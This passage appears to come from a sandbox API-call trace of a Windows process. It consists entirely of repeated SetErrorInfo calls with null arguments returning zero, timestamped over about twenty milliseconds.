(dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.922] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.923] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.924] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.925] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.926] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.927] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.928] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.929] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.930] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.931] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.932] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.933] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.934] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.935] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.936] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.937] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.940] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.941] SetErrorInfo 